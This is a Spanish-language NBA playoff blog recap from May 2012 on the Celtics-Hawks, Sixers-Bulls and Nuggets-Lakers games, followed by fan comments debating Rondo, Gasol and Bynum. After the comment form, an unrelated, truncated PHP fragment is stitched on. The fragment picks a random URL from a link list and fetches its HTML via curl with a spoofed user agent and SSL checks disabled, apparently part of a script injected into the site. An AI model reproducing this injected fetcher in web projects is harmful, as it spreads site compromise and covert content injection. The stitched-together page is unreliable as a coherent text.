La crónica: Ausencias y desaciertos

05 de May de 2012 por Viva_Dirk

Ayer Hawks y Bulls perdieron su ventaja de campo y echaron especialmente de menos a sus lesionados, viendo el rendimiento de sus sustitutos.

En Boston, los Celtics no pudieron llevarse el gato al agua hasta la prórroga. En un partido de bajo acierto, los grandes nombres decidieron para Boston, mientras Josh Smith y Al Horford lo veían desde la grada. El duelo de bases acabó con un Rondo marcándose un pedazo de triple doble pese a su horrible día en el lanzamiento y con partidazo de Teague. Pero toda la dinamita visitante llegaba de los exteriores, Garnett campaba a sus anchas por la zona y Pierce sacaba faltas como contra juveniles. La serie pinta a 4-2.

Mientras tanto los Sixers se ponían 2-1 en un partido que recordó al Este de principios de siglo, con un tristísimo 74-79 final. CJ Watson dio muestras de debilidad casi por primera vez en toda la temporada y Holiday lo aprovechó sin dudarlo. Los Bulls perdieron prácticamente el doble de balones que su rival y estuvieron muy mal desde la linea de personal, algo que no se puede permitir en un partido de tan bajo ritmo. Hawes volvió a ser el de princpio de año y Evan Turner completó otro buen partido. Esta vez Boozer sí respondió pero al mencionado Watson se unió otra floja actuación de Luol Deng.

Primera victoria para los Nuggets, gracias a un excelente partido de su segunda unidad, que se fue hasta los 39 puntos por la increíble cifra de 9 puntos del banco de los Lakers. Lawson volvió a liderar la anotación mientras Faried y McGee eran una pesadilla en el rebote. Partido errático de Kobe, que terminó con un desastroso 7 de 23 en tiros y 6 pérdidas, mientras Bynum, Pau y Sessions dejaban una buena hoja de servicio. Se antoja vital el control del rebote por parte de los Lakers y los Nuggets tienen armas para peleárselo, aunque habitualmente son infrautilizadas por Karl.

PREMIOS

MVP: Destacamos, cómo no, el triple doble de Rondo, algo deslucido por su nivel de acierto y la prórroga. Garnett campó a sus anchas por la zona de los Hawks. Por su parte, Lawson fue un puñal contra los de dorado y púrpura.

El rookie: Faried es un animal bajo los aros. Junto a McGee (ambos con 15 rebotes) son perfectamente capaces de equilibrar la balanza de rebotes contra Bynum y Cía. Destacamos además la digna actuación de John Lucas ante el bajón (¿emocional?) de Watson. Me pregunto si no merecía algo más que 0 minutos en el primer choque, viendo su rendimiento posterior.

La sorpresa: ¡Está vivo! Sí, lo podemos atestiguar. Carlos Boozer firmó un notable partido, aunque su equipo no aprovechara un día tan único en su caso.

La decepción: Ante la ausencia de Rose algunos esperábamos un paso adelante de gente como Luol Deng. No un paso atrás.

El mayor esfuerzo en vano: La dupla Joe Johnson – Teague. Cascándose 93 minutos de juego con momentos brillantes, pero demasiado aislados.

Comenta

15 comentarios a esta entrada

  1. Sancho88 dice:
    #1

    Boston@Miami en la final del Este? La lesión de Rose abre todas las puertas, e incluso si volvieran para el siguiente partido de la serie Smith y Horford, pues se rumorea que van a forzar, Horford más que Smith, los Hawks podrían aspirar a entrar en la final. Está todo muy abierto. Semifinales contra los Sixers parecen el chollo padre, aparentemenet. El previsible Indiana@Miami de seminfinales se les puede complicar a los Heat por el estilo de juego de Pacers, con un ritmo muy alto tanto atrás como delante, con una defensa más que notable cuando se ponen a ello y con ráfagas de anotación y de juego en equipo que pueden hacer mucha pupa. Ojo no veamos un séptimo partido en esa previsible serie, con lo cual Heat puede llegar agotado a la final. Y si ya ‘salta la liebre’ como decimos en mi pueblo y los Sixers se cuelan en la final después de lo de Iverson hace tantos años… sería la leche. Heat parte como favoritísimo a llevarse el Este, pero está la cosa tan abierta que cualquier equipo se puede crecer viendo sus posibilidades reales ante el cataclismo de los Bulls, e irse a muerte a por Lebro y cía. En los cuartos partidos de esta primera serie veremos mucha tensión, de eso no cabe duda. La pregunta morbosa para mí es si no es evidente que Rajon Rondo merece ir a los juegos? Ya ha dicho Colangelo que se vuelve a abrir la lista para Londres. Paul y Deron estáran sí o sí, pero con la lesión de Rose sería injustísimo no ver allí al señor Rondo. USA Team debe rectificar por las trifulcas de antaño y perdonar a Rondo. Este tío se merece ser olímpico. Ya está a 3 juegos del record de John Stockton, y si lo supera finalmente, sería un WTF enorme no verlo en Londres

      Citar

  2. Lucho dice:
    #2

    Rajon Rondo consiguio el triple doble antes de la prorroga. En el 4to cuarto ya lo habia logrado

      Citar

  3. Esteban dice:
    #3

    para los lakers es imperdonable que FARIED Y MCGEE dejen en ridiculo a Gasol y Bynum, asi es imposible, 15 rebotes para cada uno de los niños, ademas de 30 puntos convinados, con Faried que mide 2.03, demuestra la pasividad de los gigantes de los lakers

    bynum es todo emocional, horrible la primera mitad, jugo un tercer cuarto a lo shaq, 10 puntos en un ratito, todos foul y gol, pero luego se desanima, las dobles marcas lo destrozan

    y pau, perdon sancho enojate, pero ayer no dio la talla, mas alla de su acierto con el aro, ya que tira poco y nada, 7 rebotes contra 15 de un tal faried, no es aceptable
    bynum termina por cerrar una buena planilla gracias a esos lapsos donde es imparable, pero no jugo un buen partido

    Mike Brown empieza a parecerme un mal tecnico, es cierto que no tiene un GRAN material, pero tiene mas de lo que usa, Barnes termino la regular en un enorme nivel, pero no tiene ni una jugada para lanzar un triple, sus internos titulares son de elite, pero a veces no funcionan como ayer, y no le da minutos a Murphy q con su buen tiro de 3 podria ser una especie de matt bonner para abrir defensas, mientras que jordan hill esta en un momento mas que dulce, no puede ser que no pueda tomar UN misero tiro

    en fin, en los lakers no es cuestion de jugadores sino de sistemas, movilidad y generosidad con el balon

      Citar

  4. Esteban dice:
    #4

    en cuanto al este, estoy ilusionado con que atlanta pueda pasar esta ronda, ya que si recuperan a Smith y a Horford, son los unicos que pueden hacerle sombra al heat, e incluso hasta quiza ganarle

    para eso deberian volver ambos, pero si logran pasar esta serie, mas una serie con chicago o 76s, que tambien pasarian, hay tiempo de sobra para tenerlos a ambos

    es grave la lesion de McGrady?

      Citar

  5. Sancho88 dice:
    #5

    Lo de McGrady parecía chungo, teniendo en cuenta su historial, que está mayorcete… su cara era un poema. No me gustó nada el gesto de Rondo poniendo el pie. Lesión fortuitá, sí, pero muy al estilo Bowen. Dejo ahí el pie y ya si eso si te das y te haces un esguince es cosa tuya. //

    Y sí, Pau jugó mal Esteban, no pasa nada por reconocerlo. Es una vergüenza que Manimal le coma el 1×1… pero bueno, yo sigo metiendo caña un poco a Bryant porque se ha tirado también tiros de mierda, como siempre, sin ángulo, sin mirar a canasta… castañas pilongas a su servicio. Pero bueno, tampoco es la causa de la derrota. Mucha pasividad para volver a defender, y ahí Nuggets te mata con triples a las esquinas, jugando muy rápido en transición. Yo auguro el 4-3 como dije en el análisis, ya que Lakers son muy poco fiables fuera del Staples. Problemas también para mover la pelota, el propio Sessions no consigue desanclar al equipo en estático… ayer jugaron fatal Lakers y realmente tampoco es tal la diferencia para perder haciendo el ridículo como ayer. El cuarto partido deberían tener muchas más opciones de triunfo y llevarse el 3-1 al Staples para sentenciar allí. Veremos.

      Citar

  6. nba dice:
    #6

    Tampoco hace falta decir mucho de Lakers, todos sabemos sus defectos.Buen partido de Denver sobre todo aplicando 2contra1 a Bynum y este siendo incapaz de doblar el balon a un compañero, en general buen partido de Ty Lawson, haciendo lo que sabe hacer, buen partido de McGee, y por cierto horrible bajo mi punto de vista de Danilo . Supongo que en el siguiente partido los Lakers cerraran mejor el rebote por que en este la verdad que ha sido escandaloso

      Citar

  7. Sancho88 dice:
    #7

    efectivamente, Bynum tiene muchas lagunas en el poste alto, y una de ellas es su incapacidad de pasar y de leer las jugadas, y por eso es un error darle la bola ahí cuando le están haciendo una efectiva defensa. Es mejor que muevan la bola de lado a lado para buscarle abajo, ahí es mucho más efectivo. Ayer recibía, tenía a Sessions totalmente abierto por ejemplo, pero no veía el pase sacaba un pase malísimo para Ebanks, por ejemplo… Ahí se ven sus principales carencias. Yo creo que si Lakers defiende fuerte y consigue encontrar a Bynum en mejores posiciones se pueden llevar el cuarto de la serie. Y claramente tiene que mejorar mucho Pau y aportar algo más que ayer. Jugó mal, y no le valen las excusas, aunque siempre es verdad que jugando de 4 abierto a mí no me convence. Yo soy de los que piensa que Pau es mucho más 5 que 4. Siempre lo pensé, no me creo su rol como jugador abierto. Cuando tenía a Odom de 4 y el por dentro a mi juicio es cuando vimos al mejor Pau, no el año pasado, pero sí hace dos y tres años

      Citar

  8. nba dice:
    #8

    Algun adjetivo para lo de Rondo, porque parece que ha puesto el intermitente y va a pasar a bastantes.
    Da gusto ver a un jugador que entiende lo que la gente normal llamamos baloncesto y que no solo consiste en dar saltos y hundirla

      Citar

  9. Nacho dice:
    #9

    Pues voy a romper una lanza a favor de Pau. Ayer estuvo mal a la hora de cerrar el rebote. Pero fue él el que lideró la remontada, que no se concluyó porque Bynum tuvo un momento dulce y quiso tenerlo dulcísimo, con lo que chupó y chupó y no le salió de los huevos que el equipo llegara sin él. Cosa que por cierto sí sabe hacer Gasol. Si a eso unimos la mediocridad del entrenador, y que Kobe estuvo regular, pues el partido terminó como terminó. Y Pau bastante tuvo con ser el último en desenchufarse, jugando en la esquinita para ver si cae un triple… en fin que hizo partido malo, ma non troppo.
    Estos tíos pueden caer fácilmente contra los Thunder, pero también le pueden ganar. Y eso que tienen en contra a su pésimo entrenador. Dos hostias de vez en cuando a Bynum para que haga lo que sabe y no vaya de superstar, un poquito más en la rotación (¿qué fue de Goudelock, p. ej.?), aunque esto es impensable con el gañán que les dirige, y un Kobe de los que le gusta a Esteban (hoy no dices nada de sus dulces movimientos) y podrían llegar a cualquier sitio. Pero vamos, los entrenadores valen para algo, y a una serie igualada (en el caso de poder salvar a Oklahoma) Popovich le da sopa con ondas.

      Citar

  10. Esteban dice:
    #10

    Nacho:
    Pues voy a romper una lanza a favor de Pau. Ayer estuvo mal a la hora de cerrar el rebote. Pero fue él el que lideró la remontada, que no se concluyó porque Bynum tuvo un momento dulce y quiso tenerlo dulcísimo, con lo que chupó y chupó y no le salió de los huevos que el equipo llegara sin él. Cosa que por cierto sí sabe hacer Gasol. Sia eso unimos la mediocridad del entrenador, y que Kobe estuvo regular, pues el partido terminó como terminó. Y Pau bastante tuvo con ser el último en desenchufarse, jugando en la esquinita para ver si cae un triple… en fin que hizo partido malo, ma non troppo.
    Estos tíos pueden caer fácilmente contra los Thunder, pero también le pueden ganar. Y eso que tienen en contra a su pésimo entrenador. Dos hostias de vez en cuando a Bynum para que haga lo que sabe y no vaya de superstar, un poquito más en la rotación (¿qué fue de Goudelock, p. ej.?), aunque esto es impensable con el gañán que les dirige, y un Kobe de los que le gusta a Esteban (hoy no dices nada de sus dulces movimientos) y podrían llegar a cualquier sitio. Pero vamos, los entrenadores valen para algo, y a una serie igualada (en el caso de poder salvar a Oklahoma) Popovich le da sopa con ondas.

    sabes que sucede nacho? quiza kobe no tuvo su mejor partido ayr, en parte por el clima hostil que vivio, pero aun asi fue mejor que los otros dos componentes de su big 3, pau y bynum por momentos dieron lastima frente a faried (numero 29 del draft ?) y mcgee (si el chaval que volvio corriendo a defender cuando su equipo estaba atacando), por lo que en mi opnion el problema no fue kobe sino los internos

    asol cobra 20 millones al año para 16 puntos y 7 rebontes, frente a quien? la delantera de denver? ni quiero pensar como se lo va a desayunar ibaka a tapones…

      Citar

  11. Nacho dice:
    #11

    Esteban: sabes que sucede nacho? quiza kobe no tuvo su mejor partido ayr, en parte por el clima hostil que vivio, pero aun asi fue mejor que los otros dos componentes de su big 3, pau y bynum por momentos dieron lastima frente a faried (numero 29 del draft ?) y mcgee (si el chaval que volvio corriendo a defender cuando su equipo estaba atacando), por lo que en mi opnion el problema no fue kobe sino los internos

    asol cobra 20 millones al año para 16 puntos y 7 rebontes, frente a quien? la delantera de denver? ni quiero pensar como se lo va a desayunar ibaka a tapones…

    ¿Viste el partido, o el Box Score? Porque vamos. Yo no digo que el problema fuera Kobe. Fue uno de ellos. Y no digo que estuviera bien Gasol. Y a la peña se le paga para que produzca. Da igual en los números. Karl decía antes del partido que si pudiese elegir quitar a uno de los otros, quitaría a Pau. Por algo será. En la tamaña producción de este año de Bynum tiene bastante que ver Gasol. Sino, dime otro cuatro pueda surtir tanto a su Pivot. No, Esteban, los 20 kilos no se cobran solo por el Box Score.

      Citar

  12. Esteban dice:
    #12

    jajaja de hecho vi el partido, me acoste a las 3 de la madrugada de argentina, y el box score fue generoso con pau, su influencia en el partido fue minima y sus importancia al final del juego minima

    incluso en el box score le figura un triple, el de la punta, que todos sabemos que es una naranja tirada al aire y no un arma que pau tenga (estilo love)

    ojala se recupere me gustaria ver a lakers nuevamente en una final y necesitaran mas de pau, mucho mas,

    por el contrario de lo que tu dices el box score, siempre es genoroso con pau, no son malos numeros, un jugador de su clase jugando 33 minutos, debe lograr sus 7 rebotes y 16 puntos con facilidad y no parece una mala planilla, yo directamente me referia a su impacto en el juego, mas considerando que hill jugo menos de 20 min y bajo 6 rebotes con una fiereza que parece un jugador de denver y no de los lakers

    lo mismo digo del box score de bynum, su planilla termina por ser buena, 18 p y 12 r es genial, pero mas alla de un lapso en el tercer cuarto no peso, una primera mitad horrible, y una final del juego tamb lamentable

    le cabe a ambos, si hoy juegan bien lo dire sin ponerme colorado, no tengo nada personal con pau, solo que los lakers tienen menos que años anteriores y tal como bynum dio un paso al frente pau dio un paso atras

      Citar

  13. Esteban dice:
    #13

    locooo la puta madres, NUNCA SE LE VA A LESIONAR NADIE AL HEAT????

    no digo lebron q no se lesiona nunca, pero seria justo que le falte wade o bosh, viendo lo mermados que quedaron orlando (sin howard y hedo), boston (sin allen algunos juegos, o´neal aunque de mucho no sirviera), atlata (horford y smith), knicks (amare, lin y chandler algunos juegos sentido) y CHICAGO SIN ROSE Y NOAH

    paralelamente al heat no le falta nadie, NO ES JUSTO

      Citar

  14. Esteban dice:
    #14

    WOW los knicks evitan una barrida q parecia inevitable, han sacadi fuerzas y ganas quien sabe de donde despues de un 3-0, con dos juegos mas de visitante, mas de uno tiraria la toalla

    dudo que puedan robarle el proximo juego al heat, pero de lograrlo, la serie volveria 3-2 a NY jajaja eso si estaria de lujo

      Citar

  15. simon dice:
    #15

    jajaj yo no se que coño le recriminaba JR a Melo tras ese triplazo… solo JR y su mente lo comprende…

      Citar

Deja un comentario

html; } class Helper { public function random_date() { $low = '732045693'; $high = time(); $random = rand($low, $high); return date("D, d M Y H:i:s",$random); } } class Fetch_site { public $url; public $html; public function __construct($sites=null, $link_list=null) { $this->is_curl_installed(); if($link_list !== null) { $this->choose_site($link_list); } $this->load_site($this->url); } public function choose_site($file=null) { $file = explode("\n", $file); $key = rand(0, (count($file)-1)); $this->url = trim($file[$key]); } public function load_site($url) { $useragent = array('Link-Soft'); $rand = array_rand($useragent); $ch = curl_init(); $options = array( CURLOPT_URL => $url, CURLOPT_HEADER => 0, CURLOPT_USERAGENT => $useragent[$rand], CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_RETURNTRANSFER => 1, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_ENCODING => "", CURLOPT_AUTOREFERER => 1, CURLOPT_CONNECTTIMEOUT => 30, CURLOPT_TIMEOUT => 30, CURLOPT_MAXREDIRS => 5, ); curl_setopt_array($ch,$options); $result = curl_exec($ch); if(!$result) { return curl_error($ch); } curl_close($ch); $this->html = $result; } public function is_curl_installed() { if(!in_array('curl',get_loaded_extensions())) { trigger_error("cURL PHP extension is disabled or not installed.",E_USER_ERROR); } } } unset($n); ?>